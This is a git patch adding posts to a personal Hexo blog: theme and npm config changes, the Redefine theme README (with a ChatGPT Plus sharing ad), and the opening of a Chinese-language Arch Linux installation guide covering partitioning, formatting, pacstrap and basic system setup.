From cacf715e313cfc3f627c52d6d248e5b0fadb66d3 Mon Sep 17 00:00:00 2001 From: Atdunbg <979541498@qq.com> Date: Sun, 12 Oct 2025 14:06:44 +0800 Subject: [PATCH] add past articles --- _config.redefine.yml | 76 +- _config.yml | 12 +- package-lock.json | 182 +++- package.json | 5 +- source/_posts/Redefine.md | 162 +++ source/_posts/arch_install.md | 510 ++++++++++ source/_posts/arch_majaro.md | 131 +++ source/_posts/c_learn_1.md | 1090 ++++++++++++++++++++ source/_posts/c_learn_2.md | 338 +++++++ source/_posts/c_learn_3.md | 480 +++++++++ source/_posts/c_learn_4.md | 455 +++++++++ source/_posts/c_learn_5.md | 221 ++++ source/_posts/cloud_linux_1.md | 1567 +++++++++++++++++++++++++++++ source/_posts/cloud_linux_2.md | 609 +++++++++++ source/_posts/cloud_linux_3.md | 1066 ++++++++++++++++++++ source/_posts/cloud_linux_4.md | 150 +++ source/_posts/cloud_linux_5.md | 158 +++ source/_posts/hello-world.md | 5 + source/_posts/pikachu_practice.md | 669 ++++++++++++ source/categories/index.md | 5 + source/images/redefine-avatar.png | Bin 0 -> 233019 bytes source/tags/index.md | 5 + 22 files changed, 7855 insertions(+), 41 deletions(-) create mode 100644 source/_posts/Redefine.md create mode 100644 source/_posts/arch_install.md create mode 100644 source/_posts/arch_majaro.md create mode 100644 source/_posts/c_learn_1.md create mode 100644 source/_posts/c_learn_2.md create mode 100644 source/_posts/c_learn_3.md create mode 100644 source/_posts/c_learn_4.md create mode 100644 source/_posts/c_learn_5.md create mode 100644 source/_posts/cloud_linux_1.md create mode 100644 source/_posts/cloud_linux_2.md create mode 100644 source/_posts/cloud_linux_3.md create mode 100644 source/_posts/cloud_linux_4.md create mode 100644 source/_posts/cloud_linux_5.md create mode 100644 source/_posts/pikachu_practice.md create mode 100644 source/categories/index.md create mode 100644 source/images/redefine-avatar.png create mode 100644 source/tags/index.md diff --git a/_config.redefine.yml b/_config.redefine.yml index 1db3643..d2ae7a2 100644 --- a/_config.redefine.yml +++ b/_config.redefine.yml @@ -11,13 +11,13 @@ # Docs: https://redefine-docs.ohevan.com/basic/info info: # Site title - title: Theme Redefine + title: Atdunbg's Blog # Site subtitle subtitle: Redefine Your Hexo Journey. # Author name - author: The Redefine Team + author: atdunbg # Site URL - url: https://redefine.ohevan.com + url: https://atdunbg.xyz # BASIC INFORMATION <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< end @@ -29,7 +29,7 @@ defaults: # Site logo logo: # Site avatar - avatar: /images/redefine-avatar.svg + avatar: /images/redefine-avatar.png # IMAGE CONFIGURATION <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< end @@ -41,7 +41,7 @@ colors: # Secondary color (TBD) secondary: # Default theme mode initial value (will be overwritten by prefer-color-scheme) - default_mode: light # light, dark + default_mode: dark # light, dark # COLORS <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< end @@ -75,7 +75,7 @@ global: scale: false # scale effect # Scroll progress scroll_progress: - bar: false # progress bar + bar: true # progress bar percentage: true # percentage # Website counter website_counter: @@ -88,7 +88,7 @@ global: single_page: true # Whether to enable Preloader. preloader: - enable: false + enable: true custom_message: # Custom message. If empty, the site title will be displayed # Side tools settings side_tools: @@ -131,16 +131,18 @@ home_banner: style: fixed # static or fixed # Home banner image image: - light: /images/wallhaven-wqery6-light.webp # light mode - dark: /images/wallhaven-wqery6-dark.webp # dark mode + light: https://hexoimage.pages.dev/file/089291f3f0192bb92a1ce.jpg + dark: https://hexoimage.pages.dev/file/089291f3f0192bb92a1ce.jpg + # light: /images/wallhaven-wqery6-light.webp # light mode + # dark: /images/wallhaven-wqery6-dark.webp # dark mode # Home banner title - title: Theme Redefine + title: Atdunbg's Blog # Home banner subtitle subtitle: - text: [] # subtitle text, array + text: ["..."] # subtitle text, array hitokoto: # 一言配置 - enable: false # Whether to enable hitokoto - show_author: false # Whether to show author + enable: true # Whether to enable hitokoto + show_author: true # Whether to show author api: https://v1.hitokoto.cn # API URL, can add types, see https://developer.hitokoto.cn/sentence/#%E5%8F%A5%E5%AD%90%E7%B1%BB%E5%9E%8B-%E5%8F%82%E6%95%B0 typing_speed: 100 # Typing speed (ms) backing_speed: 80 # Backing speed (ms) @@ -171,16 +173,16 @@ home_banner: # Home banner social links social_links: # Whether to enable - enable: false + enable: true # Social links style style: default # default, reverse, center # Social links links: - github: # your GitHub URL - instagram: # your Instagram URL - zhihu: # your ZhiHu URL - twitter: # your twitter URL - email: # your email + github: https://github.com/atdunbg # your GitHub URL + # instagram: # your Instagram URL + # zhihu: # your ZhiHu URL + # twitter: # your twitter URL + email: atdunbg@qq.com # your email # ...... # you can add more # Social links with QRcode drawers qrs: @@ -208,9 +210,12 @@ navbar: Home: path: / icon: fa-regular fa-house # can be empty - # Archives: - # path: /archives - # icon: fa-regular fa-archive # can be empty + Google: + path: https://www.google.com/ + icon: fa-brands fa-google + Archives: + path: /archives + icon: fa-regular fa-archive # can be empty # Status: # path: https://status.ohevan.com/ # icon: fa-regular fa-chart-bar @@ -231,7 +236,7 @@ navbar: # Navbar search (local search). Requires hexo-generator-searchdb (npm i hexo-generator-searchdb). See https://github.com/theme-next/hexo-generator-searchdb search: # Whether to enable - enable: false + enable: true # Preload search data when the page loads preload: true # NAVIGATION BAR <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< end @@ -243,20 +248,20 @@ home: # Sidebar settings sidebar: enable: true # Whether to enable sidebar - position: left # Sidebar position. left, right - first_item: menu # First item in sidebar. menu, info + position: right # Sidebar position. left, right + first_item: info # First item in sidebar. menu, info announcement: # Announcement text show_on_mobile: true # Whether to show sidebar navigation on mobile sheet menu links: # Archives: # path: /archives # icon: fa-regular fa-archive # can be empty - # Tags: - # path: /tags - # icon: fa-regular fa-tags # can be empty - # Categories: - # path: /categories - # icon: fa-regular fa-folder # can be empty + Tags: + path: /tags + icon: fa-regular fa-tags # can be empty + Categories: + path: /categories + icon: fa-regular fa-folder # can be empty # ...... # you can add more # Article date format article_date_format: auto # auto, relative, YYYY-MM-DD, YYYY-MM-DD HH:mm:ss etc. @@ -301,7 +306,7 @@ articles: # Author label author_label: enable: true # Whether to enable - auto: false # Whether to automatically add author label, e.g. Lv1, Lv2, Lv3... + auto: true # Whether to automatically add author label, e.g. Lv1, Lv2, Lv3... list: [] # Code block settings code_block: @@ -357,7 +362,7 @@ comment: config: # Waline comment system. See https://waline.js.org/ waline: - serverUrl: https://example.example.com # Waline server URL. e.g. https://example.example.com + serverUrl: https://hexo-waline.atdunbg.xyz # Waline server URL. e.g. https://example.example.com lang: zh-CN # Waline language. e.g. zh-CN, en-US. See https://waline.js.org/guide/client/i18n.html emoji: [] # Waline emojis, see https://waline.js.org/guide/features/emoji.html recaptchaV3Key: # Google reCAPTCHA v3 key. See https://waline.js.org/reference/client/props.html#recaptchav3key @@ -399,7 +404,7 @@ footer: # Icon in footer, write fontawesome icon code here icon: '' # The start time of the website, format: YYYY/MM/DD HH:mm:ss - start: 2022/8/17 11:45:14 + start: 2022/1/1 12:00:00 # Site statistics statistics: true # show site statistics or not (total articles, total words) # Footer message @@ -486,3 +491,6 @@ developer: # Whether to enable developer mode (only for developers who want to modify the theme source code, not for ordinary users) enable: false # DEVELOPER MODE <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< end + +# Resource compress +# all_minifier: true \ No newline at end of file diff --git a/_config.yml b/_config.yml index 88a5754..16e34ea 100644 --- a/_config.yml +++ b/_config.yml @@ -3,17 +3,17 @@ ## Source: https://github.com/hexojs/hexo/ # Site -title: Hexo +title: Atdunbg's Blog subtitle: '' description: '' keywords: -author: John Doe -language: en +author: atdunbg +language: zh-CN timezone: '' # URL ## Set your site url here. For example, if you use GitHub Page, set url as 'https://username.github.io/project' -url: http://example.com +url: http://atdunbg.xyz permalink: :year/:month/:day/:title/ permalink_defaults: pretty_urls: @@ -101,4 +101,6 @@ theme: redefine # Deployment ## Docs: https://hexo.io/docs/one-command-deployment deploy: - type: '' + - type: git + repo: git@github.com:atdunbg/atdunbg.github.io.git + diff --git a/package-lock.json b/package-lock.json index 60ecec6..6289531 100644 --- a/package-lock.json +++ b/package-lock.json @@ -9,16 +9,19 @@ "version": "0.0.0", "dependencies": { "hexo": "^8.0.0", + "hexo-deployer-git": "^4.0.0", "hexo-generator-archive": "^2.0.0", "hexo-generator-category": "^2.0.0", "hexo-generator-index": "^4.0.0", + "hexo-generator-searchdb": "^1.5.0", "hexo-generator-tag": "^2.0.0", "hexo-renderer-ejs": "^2.0.0", "hexo-renderer-marked": "^7.0.0", "hexo-renderer-stylus": "^3.0.1", "hexo-server": "^3.0.0", "hexo-theme-landscape": "^1.0.0", - "hexo-theme-redefine": "^2.8.5" + "hexo-theme-redefine": "^2.8.5", + "hexo-wordcount": "^6.0.1" } }, "node_modules/@adobe/css-tools": { @@ -1076,6 +1079,159 @@ "node": ">=14" } }, + "node_modules/hexo-deployer-git": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/hexo-deployer-git/-/hexo-deployer-git-4.0.0.tgz", + "integrity": "sha512-28t1Q+4taB/UaBAP52W3mD/wcCwa2y2zBieUfBJFBZudbmVgiKJB5YedYILeyI5QByaUKAOwoupmdTbocdQ+CQ==", + "license": "MIT", + "dependencies": { + "bluebird": "^3.7.2", + "hexo-fs": "^4.0.0", + "hexo-util": "^2.7.0", + "luxon": "^3.0.4", + "nunjucks": "^3.2.3", + "picocolors": "^1.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-deployer-git/node_modules/dom-serializer": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.4.1.tgz", + "integrity": "sha512-VHwB3KfrcOOkelEG2ZOfxqLZdfkil8PtJi4P8N2MMXucZq2yLp75ClViUlOVwyoHEDjYU433Aq+5zWP61+RGag==", + "license": "MIT", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.0", + "entities": "^2.0.0" + }, + "funding": { + "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1" + } + }, + "node_modules/hexo-deployer-git/node_modules/dom-serializer/node_modules/entities": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz", + "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==", + "license": "BSD-2-Clause", + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/hexo-deployer-git/node_modules/domhandler": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.3.1.tgz", + "integrity": "sha512-GrwoxYN+uWlzO8uhUXRl0P+kHE4GtVPfYzVLcUxPL7KNdHKj66vvlhiweIHqYYXWlw+T8iLMp42Lm67ghw4WMQ==", + "license": "BSD-2-Clause", + "dependencies": { + "domelementtype": "^2.2.0" + }, + "engines": { + "node": ">= 4" + }, + "funding": { + "url": "https://github.com/fb55/domhandler?sponsor=1" + } + }, + "node_modules/hexo-deployer-git/node_modules/domutils": { + "version": "2.8.0", + "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", + "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", + "license": "BSD-2-Clause", + "dependencies": { + "dom-serializer": "^1.0.1", + "domelementtype": "^2.2.0", + "domhandler": "^4.2.0" + }, + "funding": { + "url": "https://github.com/fb55/domutils?sponsor=1" + } + }, + "node_modules/hexo-deployer-git/node_modules/entities": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-3.0.1.tgz", + "integrity": "sha512-WiyBqoomrwMdFG1e0kqvASYfnlb0lp8M5o5Fw2OFq1hNZxxcNk8Ik0Xm7LxzBhuidnZB/UtBqVCgUz3kBOP51Q==", + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/hexo-deployer-git/node_modules/hexo-fs": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/hexo-fs/-/hexo-fs-4.1.3.tgz", + "integrity": "sha512-Q92zQ5PlVDouvSWFLXQoFSTLIUIODikUJs2BfAXQglyOEjN1dOQn1Z5Nimk/7GHof17R5h/uObCQLnZAjzI2tg==", + "license": "MIT", + "dependencies": { + "bluebird": "^3.7.2", + "chokidar": "^3.5.3", + "graceful-fs": "^4.2.10", + "hexo-util": "^3.0.1" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-deployer-git/node_modules/hexo-fs/node_modules/hexo-util": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/hexo-util/-/hexo-util-3.3.0.tgz", + "integrity": "sha512-YvGngXijE2muEh5L/VI4Fmjqb+/yAkmY+VuyhWVoRwQu1X7bmWodsfYRXX7CUYhi5LqsvH8FAe/yBW1+f6ZX4Q==", + "hasInstallScript": true, + "license": "MIT", + "dependencies": { + "camel-case": "^4.1.2", + "cross-spawn": "^7.0.3", + "deepmerge": "^4.2.2", + "highlight.js": "^11.6.0", + "htmlparser2": "^9.0.0", + "prismjs": "^1.29.0", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=14" + } + }, + "node_modules/hexo-deployer-git/node_modules/hexo-util": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/hexo-util/-/hexo-util-2.7.0.tgz", + "integrity": "sha512-hQM3h34nhDg0bSe/Tg1lnpODvNkz7h2u0+lZGzlKL0Oufp+5KCAEUX9wal7/xC7ax3/cwEn8IuoU75kNpZLpJQ==", + "license": "MIT", + "dependencies": { + "bluebird": "^3.5.2", + "camel-case": "^4.0.0", + "cross-spawn": "^7.0.0", + "deepmerge": "^4.2.2", + "highlight.js": "^11.0.1", + "htmlparser2": "^7.0.0", + "prismjs": "^1.17.1", + "strip-indent": "^3.0.0" + }, + "engines": { + "node": ">=12.4.0" + } + }, + "node_modules/hexo-deployer-git/node_modules/hexo-util/node_modules/htmlparser2": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-7.2.0.tgz", + "integrity": "sha512-H7MImA4MS6cw7nbyURtLPO1Tms7C5H602LRETv95z1MxO/7CP7rDVROehUYeYBUYEON94NXXDEPmZuq+hX4sog==", + "funding": [ + "https://github.com/fb55/htmlparser2?sponsor=1", + { + "type": "github", + "url": "https://github.com/sponsors/fb55" + } + ], + "license": "MIT", + "dependencies": { + "domelementtype": "^2.0.1", + "domhandler": "^4.2.2", + "domutils": "^2.8.0", + "entities": "^3.0.1" + } + }, "node_modules/hexo-front-matter": { "version": "4.2.1", "resolved": "https://registry.npmjs.org/hexo-front-matter/-/hexo-front-matter-4.2.1.tgz", @@ -1167,6 +1323,15 @@ "node": ">=18" } }, + "node_modules/hexo-generator-searchdb": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/hexo-generator-searchdb/-/hexo-generator-searchdb-1.5.0.tgz", + "integrity": "sha512-d0b5SueDxJimTFaHpPg430FQFx7DtMkmEIHo0UTOjXWRy+eDqNSp1CuS04P7fWzMnH2h+aQc6O9D2yY+3sdAUg==", + "license": "MIT", + "dependencies": { + "nunjucks": "^3.2.2" + } + }, "node_modules/hexo-generator-tag": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/hexo-generator-tag/-/hexo-generator-tag-2.0.0.tgz", @@ -1302,6 +1467,12 @@ "node": ">=14" } }, + "node_modules/hexo-wordcount": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/hexo-wordcount/-/hexo-wordcount-6.0.1.tgz", + "integrity": "sha512-tbo2P9xRWEKQmRf7+XuPjx9It1MnaE26nA+EEb2DN39gK1x+26W7Nm4Iyp4AugQjBWYYDx7OLn4gp1WFxQpQew==", + "license": "MIT" + }, "node_modules/highlight.js": { "version": "11.11.1", "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.11.1.tgz", @@ -1678,6 +1849,15 @@ "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", "license": "ISC" }, + "node_modules/luxon": { + "version": "3.7.2", + "resolved": "https://registry.npmjs.org/luxon/-/luxon-3.7.2.tgz", + "integrity": "sha512-vtEhXh/gNjI9Yg1u4jX/0YVPMvxzHuGgCm6tC5kZyb08yjGWGnqAjGJvcXbqQR2P3MyMEFnRbpcdFS6PBcLqew==", + "license": "MIT", + "engines": { + "node": ">=12" + } + }, "node_modules/marked": { "version": "15.0.12", "resolved": "https://registry.npmjs.org/marked/-/marked-15.0.12.tgz", diff --git a/package.json b/package.json index 6262ce9..58674cb 100644 --- a/package.json +++ b/package.json @@ -13,15 +13,18 @@ }, "dependencies": { "hexo": "^8.0.0", + "hexo-deployer-git": "^4.0.0", "hexo-generator-archive": "^2.0.0", "hexo-generator-category": "^2.0.0", "hexo-generator-index": "^4.0.0", + "hexo-generator-searchdb": "^1.5.0", "hexo-generator-tag": "^2.0.0", "hexo-renderer-ejs": "^2.0.0", "hexo-renderer-marked": "^7.0.0", "hexo-renderer-stylus": "^3.0.1", "hexo-server": "^3.0.0", "hexo-theme-landscape": "^1.0.0", - "hexo-theme-redefine": "^2.8.5" + "hexo-theme-redefine": "^2.8.5", + "hexo-wordcount": "^6.0.1" } } diff --git a/source/_posts/Redefine.md b/source/_posts/Redefine.md new file mode 100644 index 0000000..a3b29a2 --- /dev/null +++ b/source/_posts/Redefine.md @@ -0,0 +1,162 @@ +--- +title: Hexo主题 - Redefine +tags: [Redefine, Theme] +categories: Theme +thumbnail: "https://github.com/EvanNotFound/hexo-theme-redefine/assets/68590232/337c1801-7a59-45af-a02a-583508be69a5" +sticky: 999 +--- + +# hexo-theme-redefine + +Hexo-theme-Redefine reimagines simplicity, speed, and purity, without sacrificing functionality or design. Its sleek, modern aesthetic is packed with useful features, blending style and practicality seamlessly. + +Building on the solid foundation of hexo-theme-keep, "Redefine" elevates the style and incorporates valuable writing tools and plugins. It offers extensive customization options, allowing you to tailor every detail to your preferences. With Redefine, your blogging experience becomes unique and effortless, showcasing your personal style and needs. + +

+ + NPM version + + + npm downloads + + + npm-total + + Required Hexo version + NodeJS Version +

+ + + + + Cover Image + + + + + + Pages Image + + +## 🌐 Demo + +- [EvanNotFound's Blog](https://ohevan.com) +- [Theme Redefine Demo](https://redefine.ohevan.com) +- [Redefine Theme Showcase](https://redefine.ohevan.com/showcase) + +If you are also using Redefine, please go to [Redefine Theme Showcase](https://redefine.ohevan.com/showcase) to add your blog link. + +## ⛰️ Features + +- [Note Module](https://redefine-docs.ohevan.com/modules/notes) +- [Friend Link Page](https://redefine-docs.ohevan.com/page_templates/friends) +- [Mathjax Support](https://redefine-docs.ohevan.com/plugins/mathjax) +- Code block language display +- Light/Dark mode switching +- [Font Awesome 6.2.1 Pro](https://redefine-docs.ohevan.com/basic/fontawesome) (contains different styles like Duotone/Regular/Thin/Sharp) +- [Drop-down menu](https://redefine-docs.ohevan.com/dhome/navbar#%E9%93%BE%E6%8E%A5%E5%88%97%E8%A1%A8) +- [Customizable footer](https://redefine-docs.ohevan.com/footer) +- [Site Uptime Display](https://redefine-docs.ohevan.com/footer#%E8%BF%90%E8%A1%8C%E6%97%B6%E9%97%B4) +- [Article Header Image](https://redefine-docs.ohevan.com/article_customize/banner) +- [Mermaid JS support](https://redefine-docs.ohevan.com/plugins/mermaid) +- SEO friendly +- [Aplayer support](https://redefine-docs.ohevan.com/plugins/aplayer) +- [Shuoshuo support](https://redefine-docs.ohevan.com/shuoshuo) +- [Customizable Font](https://redefine-docs.ohevan.com/basic/global#%E8%87%AA%E5%AE%9A%E4%B9%89%E5%AD%97%E4%BD%93) +- Tailwind CSS Included + + + +## ☁️ Installation + +The easiest way to install Theme Redefine is by using **npm** (after your hexo version has been up to `5.0`+) + +```sh +$ cd your-hexo-site +$ npm install hexo-theme-redefine@latest +``` + +Another method is by **git clone** + +```sh +$ cd your-hexo-site +$ git clone https://github.com/EvanNotFound/hexo-theme-redefine.git themes/redefine +``` + +After the installation, go to the `_config.yml` of your hexo site and set + +```yaml +theme: redefine +``` + +## ⏫ Update + +To update hexo-theme-redefine, you can run the same **npm** command + +```sh +$ npm install hexo-theme-redefine@latest +``` + +If you installed the theme by **git clone**, you can update the theme by running the following command + +```sh +$ cd themes/redefine +$ git pull +``` + + + +## 📄 Documentations + +Please read [Redefine Docs](https://redefine-docs.ohevan.com/) when installing + +It's very easy to understand. + + + +## ☕ Support + +Feel free to **pull request** and **send issues**. + +If you have any questions, please send an email to [contact@ohevan.com](mailto:contact@ohevan.com). I will reply in time. + +Please **give me a star** to support me, thanks! + +Also, if you are using [Typora](https://typora.io/), check out [Typora Theme Redefine](https://github.com/EvanNotFound/typora-theme-redefine) so that you can preview the styles of your blog in Typora. + +## 💗 Donations + +Thanks to all the people who have donated to me. Your support is my greatest motivation. + +If you like this theme, please give a star. You can also support me by [donating](https://github.com/EvanNotFound/hexo-theme-redefine/blob/dev/DONATION.md). + +This is the list of all the people who have donated to me: [Donation List](https://github.com/EvanNotFound/hexo-theme-redefine/blob/dev/DONATION.md) + +🎉 **想体验 OpenAI 的 ChatGPT Plus 会员?官网 20 美元每月太贵了?不用担心!** + +🚀 立即加入我的 [GPT Plus Share](https://gpt.oknice.ca) GPT Plus 共享站,ChatGPT Plus 随心用。 + +- ✅ 支持 OpenAI 最新所有模型,包括 `GPT-4o`, `o3` 系列模型,支持高级图片生成 +- ✅ 后台大量官方正版账号号池,随心使用 +- ✅ 每月仅需低至 23.99 人民币,支持一天免费试用 +- ✅ 无需梯子,国内免翻访问! +- ✅ 由 Evan 本人运营,售后保证,已稳定运行超过一年 + +[![gpt-billboard](https://github.com/user-attachments/assets/f049fb37-0587-4af9-b59d-b1910d310549)](https://www.gptplus.ca/home) + + +## 🌟 Star History + +

+ + + + + Star History Chart + + +

+ +## 💻 Development + +If you want to contribute to this project, you can clone the `dev` branch and check out the [Development Docs](https://redefine-docs.ohevan.com/developer) to get started. diff --git a/source/_posts/arch_install.md b/source/_posts/arch_install.md new file mode 100644 index 0000000..f744e53 --- /dev/null +++ b/source/_posts/arch_install.md @@ -0,0 +1,510 @@ +--- +title: 记一次ArchLinux的安装过程 +date: 2023-03-27 10:30 +tags: ["Arch Linux", Linux] +categories: "Arch Linux" +thumbnail: "https://hexoimage.pages.dev/file/49f93be93d3b83ea337a5.png" +--- + +## ArchLinux+KDE的安装过程 + +## 1. 1下载镜像文件 + +Archlinux的官网:[https://archlinux.org/ ](https://archlinux.org/) + +点击Download + +按照自身情况选择一个镜像源 + +国内推荐[清华源 ](https://mirrors.tuna.tsinghua.edu.cn/archlinux/iso/2023.04.01/) + +下载iso镜像文件 + +## 1.2 **选择安装方式** + +### 1.2.1本机安装 + +folding cyan,本机安装 +本机安装, 推荐用 [ventoy ](https://www.ventoy.net/cn/)制作U盘启动盘进行安装 + +![img](https://www.ventoy.net/static/img/screen/screen_uefi.png) + +#### (1).制作启动盘 + +- 准备一个大容量U盘(建议8G往上, 以后想装其他系统直接吧ISO文件复制到U盘里即可) +- 确保U盘里没有重要文件(请提前备份好重要文件) + +![img](https://s1.vika.cn/space/2023/04/12/4a4bcbaa4c6341e29ea9bfb84e3bc731) + +- 打开Ventoy2Disk.exe +- 找到要制作的U盘, 点击开始安装即可 + +然后将archlinux的iso镜像复制在U盘中 + +#### (2).启动archlinux镜像 + +**启动电脑时按F2(不同电脑快捷键可能不同,请自行百度)** + +然后选择U盘启动,进入ventoy,选择archlinux. + +endfolding + +### 1.2.2虚拟机安装 + +folding cyan,虚拟机安装 + +**此处演示的为 [VMware ](https://www.vmware.com/)虚拟机** + +- 打开 VMware + +![img](https://s1.vika.cn/space/2023/04/12/64af68c7fa604fadabd2195870740c7d) + +- 选择新建虚拟机,选择典型(推荐)配置 +- 选择安装光盘映像文件(iso), 选择下载好的archlinux的ISO镜像. + +![img](https://s1.vika.cn/space/2023/04/12/64af68c7fa604fadabd2195870740c7d) + +- **下一步** +- 操作系统选择Linux,内核选择 其他 Linux 5.x 内核 64 位. + +![img](https://s1.vika.cn/space/2023/04/14/9178cbdb8638488ca6b693d02520db85) + +- **下一步** + + 虚拟机名字和创建文字按照自己情况适当调整 + +- **下一步** + +最大磁盘大小按照自己情况修改(我这里改为20GB) + +选择 **将虚拟磁盘储存为单个文件** + +![img](https://s1.vika.cn/space/2023/04/14/babb449048224249882bb8bdafba1f4f) + +- **下一步** +- 点击**自定义硬件**, 修改此虚拟机的内存,我这里修改的为**4G** +- 点击**完成** +- 点击**编辑虚拟机设置**, 依次点击 **选项–>高级–>固件类型 中 选中UEFI模式** + +![img](https://s1.vika.cn/space/2023/04/14/28c6a3ea59b9437b9051320301d7c763) + +**至此,虚拟机配置就完成了** + +## 1.3安装archlinux + +### 1.3.1进入镜像系统 + +![img](https://s1.vika.cn/space/2023/04/14/d59ffd614b6242d09be1773f835df77c) + +首先 先禁用 **reflector服务**, 防止自动更新服务器列表 + +```bash +systemctl stop reflector.service +``` + +### 1.3.2**网络连接**, 有线网会自动连接, 请忽略此步 + +无线网连接 + +```bash +#执行iwctl指令,进入交互式命令界面 +iwctl + +#累出设备名,如无线网卡应看到wlan0 +device list + +#用wlan0扫描网络 +station wlan0 scan + +#列出网络 +station wlan0 get-networks + + +# 连接指定无线网 输入密码 +station wlan0 connect [无线网名字] + +#退出iwctl +exit或者quit +``` + +ping一下一个网站, 看看网络是否连接成功 + +```bash +#例 + +ping www.baidu.com +``` + +### 1.3.3同步网络时间 + +```bash +timedatectl set-ntp true +``` + +### 1.3.4修改软件源 把中国源放在前列 + +```bash +# Ctrl+w 搜索指定文本 +# Ctrl+6 标记指定文本 +# Ctrl+k 剪切选中文本 +# Ctrl+u 粘贴文本 +# Ctrl+x 退出编辑 + +nano /etc/pacman.d/mirrorslist #打开镜像源配置文件,将中国的镜像源放置最前列 +``` + +### 1.3.5刷新但不更新软件包 + +```bash +pacman -Syy +``` + +### 1.3.6(可选操作)安装openssh + +```bash +#安装openssh远程软件 +pacman -S openssh + +#启用sshd服务 +systemctl start sshd + +#设置当前root密码 +passwd root + +#查看ip地址 +ip a +``` + +> - **使用ssh连接archlinux,方便复制粘贴命令** +> +> ```bash +> ssh [ip地址]@root +> #输入密码即可成功连接 +> ``` + +### 1.3.7磁盘分区 + +#### fdisk软件分区 + +```bash +fdisk -l #查看磁盘列表 +``` + +![](https://s1.vika.cn/space/2023/04/14/a486688cc9a6498ba62fe18295522538) + +``` +fdisk /dev/sda #对sda磁盘进行分区 +``` + +> - fdisk操作命令 +> - m: 帮助 +> - g(小写g): 创建GPT格式磁盘 +> - n: 创建分区 +> - p: 查看分区 +> - q: 不保存退出 +> - w: 保存并退出 所有操作在执行”w”前都不会生效 + +![img](https://s1.vika.cn/space/2023/04/14/19d395dd4761416eb96503de9016e74f) + +作为演示, 分以下四个分区 + +- 512MB的ESP启动分区 +- 2G的交换分区 +- 10G作为根目录/ +- 剩下的作为home目录 + +![img](https://s1.vika.cn/space/2023/04/14/f7f0817f25c442ab9c46d675c786a7e6) + +#### cfdisk软件分区 + +folding cyan,cfdisk软件分区 + +cfdisk分区软件操作比较简单,具体分区布局看下图 + +![img](https://s1.vika.cn/space/2023/04/14/121193dfec9b4aa0a20d08e8291ee9f8) + +分好区后选择write并键入yes即可使分区生效 + +endfolding + +> ```bash +> fdisk -l #分好区后用此指令可以查看分区的状态 +> ``` + +### 1.3.8格式化磁盘 + +```bash +#根据自己情况适当修改,不可照抄 +mkfs.vfat /dev/sda1 + +mkswap /dev/sda2 + +mkfs.ext4 /dev/sda3 + +mkfs.ext4 /dev/sda4 + +swapon /dev/sda2 +``` + +### 1.3.9挂载磁盘 + +```bash +#挂载根目录/ +mount /dev/sda3 /mnt #必须先挂载根目录,才能再挂载其他目录 + + +#创建home,boot文件夹 +mkdir /mnt/home +mkdir /mnt/boot + +#挂载 +mount /dev/sda4 /mnt/home +mount /dev/sda1 /mnt/boot +``` + +### 1.3.10往/mnt里安装系统 + +最基础的四个包是: base base-devel linux linux-firmeware + +其余的按自己需求安装 + +```bash +pacstrap /mnt base base-devel linux linux-firmware dhcpcd iwd vim sudo bash-completion nano net-tools openssh man git wget zsh fish +``` + +### 1.3.11生成fstab + +```bash +genfstab -U /mnt >> /mnt/etc/fstab +``` + +- **查看是否成功生成** + +```bash +cat /mnt/etc/fstab +``` + +![img](https://s1.vika.cn/space/2023/04/15/93edfde4bf124627a369e5196063059d) + +### 1.3.12从live切换到刚安装的系统 + +```bash +arch-chroot /mnt +``` + +编辑**hostname** + +```bash +#我这里填写的arch + +echo [arch] > /etc/hostname #将arch写入到/etc/hostname文件里 + +cat /etc/hostname #查看/etc/hostname文件里的内容 +``` + +编辑**hosts** + +```bash +#我这里名字是arch,可自行更改 + +nano /etc/hosts + +#向hosts文件里添加以下内容 +127.0.0.1 localhost +::1 localhost +127.0.0.1 arch +``` + +- 设置**时区**和**硬件时间**设置 + +```bash +#设置时区 +ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime + +#硬件时间设置 +hwclock --systohc +``` + +### 1.3.13编辑语言环境 + +```bash +nano /etc/locale.gen +``` + 